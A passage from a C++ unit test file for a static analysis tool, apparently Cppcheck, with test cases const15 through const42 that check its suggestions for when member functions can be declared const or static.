inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:53]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:60]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int * * foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" const int ** foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const15() {\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned long long int get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const16() {\n // ticket #1551\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void set(int i) { Fred::a = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const17() {\n // ticket #1552\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" void set(int i, int j) { a[i].k = i; }\\n\"\n \"private:\\n\"\n \" struct { int k; } a[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const18() {\n checkConst(\"class Fred {\\n\"\n \"static int x;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::set' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const19() {\n // ticket #1612\n checkConst(\"using namespace std;\\n\"\n \"class Fred {\\n\"\n \"private:\\n\"\n \" std::string s;\\n\"\n \"public:\\n\"\n \" void set(std::string ss) { s = ss; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const20() {\n // ticket #1602\n checkConst(\"class Fred {\\n\"\n \" int x : 3;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const21() {\n // ticket #1683\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" const char * l1[10];\\n\"\n \"public:\\n\"\n \" A()\\n\"\n \" {\\n\"\n \" for (int i = 0 ; i < 10; l1[i] = NULL, i++);\\n\"\n \" }\\n\"\n \" void f1() { l1[0] = \\\"Hello\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const22() {\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1;\\n\"\n \"public:\\n\"\n \" void f1() { v1 = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1[0];\\n\"\n \"public:\\n\"\n \" void f1() { v1[0] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const23() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \" typedef Template Type;\\n\"\n \" typedef Template2 Type2;\\n\"\n \" void set_member(Type2 m) { _m = m; }\\n\"\n \"private:\\n\"\n \" Type2 _m;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const24() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \"void Settings::SetSetting(QString strSetting, QString strNewVal)\\n\"\n \"{\\n\"\n \" (*m_pSettings)[strSetting] = strNewVal;\\n\"\n \"}\\n\"\n \"private:\\n\"\n \" std::map *m_pSettings;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void const25() { // ticket #1724\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"const std::string strGetString1() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"const std::string strGetString1()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style, inconclusive) Technically the member function 'A::strGetString1' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"size_t strGetSize()\\n\"\n \"{return m_strVec.size();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style, inconclusive) Technically the member function 'A::strGetSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"bool strGetEmpty()\\n\"\n \"{return m_strVec.empty();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style, inconclusive) Technically the member function 'A::strGetEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const26() { // ticket #1847\n checkConst(\"class DelayBase {\\n\"\n \"public:\\n\"\n \"void swapSpecificDelays(int index1, int index2) {\\n\"\n \" std::swap(delays_[index1], delays_[index2]);\\n\"\n \"}\\n\"\n \"float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct DelayBase {\\n\"\n \" float swapSpecificDelays(int index1) {\\n\"\n \" return delays_[index1];\\n\"\n \" }\\n\"\n \" float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style, inconclusive) Technically the member function 'DelayBase::swapSpecificDelays' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const27() { // ticket #1882\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){m_d=1.0; m_iRealVal=2.0;}\\n\"\n \" double dGetValue();\\n\"\n \"private:\\n\"\n \" double m_d;\\n\"\n \" double m_iRealVal;\\n\"\n \"};\\n\"\n \"double A::dGetValue() {\\n\"\n \" double dRet = m_iRealVal;\\n\"\n \" if( m_d != 0 )\\n\"\n \" return m_iRealVal / m_d;\\n\"\n \" return dRet;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:9:12]: (style, inconclusive) Technically the member function 'A::dGetValue' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const28() { // ticket #1883\n checkConst(\"class P {\\n\"\n \"public:\\n\"\n \" P() { x=0.0; y=0.0; }\\n\"\n \" double x,y;\\n\"\n \"};\\n\"\n \"class A : public P {\\n\"\n \"public:\\n\"\n \" A():P(){}\\n\"\n \" void SetPos(double xPos, double yPos) {\\n\"\n \" x=xPos;\\n\"\n \" y=yPos;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA : public P {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (performance, inconclusive) Technically the member function 'AA::vSetXPos' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n }\n\n void const29() { // ticket #1922\n checkConst(\"class test {\\n\"\n \" public:\\n\"\n \" test();\\n\"\n \" const char* get() const;\\n\"\n \" char* get();\\n\"\n \" private:\\n\"\n \" char* value_;\\n\"\n \"};\\n\"\n \"test::test()\\n\"\n \"{\\n\"\n \" value_ = 0;\\n\"\n \"}\\n\"\n \"const char* test::get() const\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\\n\"\n \"char* test::get()\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const30() {\n // check for false negatives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'Derived::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Derived::getA' can be const. [functionConst]\\n\"\n \"[test.cpp:14:9]: (style, inconclusive) Technically the member function 'Derived::getB' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style, inconclusive) Technically the member function 'Derived2::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style, inconclusive) Technically the member function 'Derived4::get' can be const. [functionConst]\\n\", errout_str());\n\n // check for false positives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() const {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const31() {\n checkConst(\"namespace std { }\\n\"\n \"class Fred {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \" int get() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const32() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::string a[10];\\n\"\n \" void seta() { a[0] = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const33() {\n checkConst(\"class derived : public base {\\n\"\n \"public:\\n\"\n \" void f(){}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Either there is a missing 'override', or the member function 'derived::f' can be static. [functionStatic]\\n\", errout_str());\n }\n\n void const34() { // ticket #1964\n checkConst(\"class Bar {\\n\"\n \" void init(Foo * foo) {\\n\"\n \" foo.bar = this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const35() { // ticket #2001\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" class Derived : public Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName() { return var; }\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:21]: (style, inconclusive) Technically the member function 'N::Derived::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"int N::Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:10:14]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" int Base::getResourceName() { return var; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:12:19]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:11:11]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const36() { // ticket #2003\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" Blue::Utility::Size m_MaxQueueSize;\\n\"\n \" void SetMaxQueueSize(Blue::Utility::Size a_MaxQueueSize)\\n\"\n \" {\\n\"\n \" m_MaxQueueSize = a_MaxQueueSize;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const37() { // ticket #2081 and #2085\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A(){};\\n\"\n \" std::string operator+(const char *c)\\n\"\n \" {\\n\"\n \" return m_str+std::string(c);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" std::string m_str;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style, inconclusive) Technically the member function 'A::operator+' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" long x;\\n\"\n \"public:\\n\"\n \" Fred() {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" bool isValid() {\\n\"\n \" return (x == 0x11224488);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'Fred::isValid' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const38() { // ticket #2135\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" ~Foo() { delete oArq; }\\n\"\n \" Foo(): oArq(new std::ofstream(\\\"...\\\")) {}\\n\"\n \" void MyMethod();\\n\"\n \"private:\\n\"\n \" std::ofstream *oArq;\\n\"\n \"};\\n\"\n \"void Foo::MyMethod()\\n\"\n \"{\\n\"\n \" (*oArq) << \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const39() {\n checkConst(\"class Foo\\n\"\n \"{\\n\"\n \" int * p;\\n\"\n \"public:\\n\"\n \" Foo () : p(0) { }\\n\"\n \" int * f();\\n\"\n \" const int * f() const;\\n\"\n \"};\\n\"\n \"const int * Foo::f() const\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\\n\"\n \"int * Foo::f()\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const40() { // ticket #2228\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" std::tr1::shared_ptr pView;\\n\"\n \" public:\\n\"\n \" SharedPtrHolder()\\n\"\n \" { }\\n\"\n \" void SetView(const std::shared_ptr & aView)\\n\"\n \" {\\n\"\n \" pView = aView;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const41() { // ticket #2255\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \" ::std::string m_name;\\n\"\n \"public:\\n\"\n \" void SetName(const ::std::string & name)\\n\"\n \" {\\n\"\n \" m_name = name;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" ::std::tr1::shared_ptr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const ::std::tr1::shared_ptr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder2\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" typedef ::std::tr1::shared_ptr IntSharedPtr;\\n\"\n \" private:\\n\"\n \" IntSharedPtr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntSharedPtr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct IntPtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder3\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" IntPtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntPtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"template \\n\"\n \"struct PtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder4\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" PtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const PtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const42() { // ticket #2282\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB { };\\n\"\n \" bool f(AB * ab);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB * ab)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:5:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \" bool Fred::f(Fred::AB::CD * cd)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n\n 